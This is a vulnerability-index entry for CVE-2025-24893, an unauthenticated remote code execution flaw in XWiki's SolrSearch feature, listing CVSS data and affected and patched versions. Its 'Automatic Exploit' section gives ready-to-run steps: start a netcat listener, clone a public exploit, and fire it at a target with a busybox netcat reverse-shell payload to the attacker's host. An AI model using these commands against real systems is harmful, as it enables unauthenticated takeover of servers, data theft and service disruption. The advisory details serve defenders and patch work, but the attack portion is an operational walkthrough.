# CVE-2025-24893 - XWiki RCE

- **URL:** https://hackindex.io/vulnerabilities/CVE-2025-24893
- **CVE:** CVE-2025-24893
- **GHSA:** GHSA-rr6p-3pfg-562j
- **CVSS score:** 9.8
- **CVSS vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- **Type:** CWE-95
- **Complexity:** Low
- **Privileges:** None
- **Affected versions:** >= 5.3-milestone-2, < 15.10.11, >= 16.0.0-rc-1, < 16.4.1
- **Patched versions:** 15.10.11, 16.4.1
- **Published:** 2026-02-21
- **Updated:** 2026-02-26

CVE-2025-24893 is an unauthenticated remote code execution bug in XWiki: a guest can send a crafted request to the SolrSearch feature that gets evaluated on the server, letting the attacker run arbitrary code. That can lead to full compromise of the XWiki instance (and potentially the host), including data theft, tampering, or taking the service down.

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

#### Automatic Exploit

**[gunzf0x/CVE-2025-24893](https://github.com/gunzf0x/CVE-2025-24893)** - Remote Code Execution exploit

Start a reverse shell

```bash
nc -nlvp $LPORT
```

Run the exploit

```bash
git clone https://github.com/gunzf0x/CVE-2025-24893.git
cd gunzf0x/CVE-2025-24893

python3 CVE-2025-24893.py -t http://$TARGET_IP -c 'busybox nc $LHOST $LPORT -e /bin/bash'
```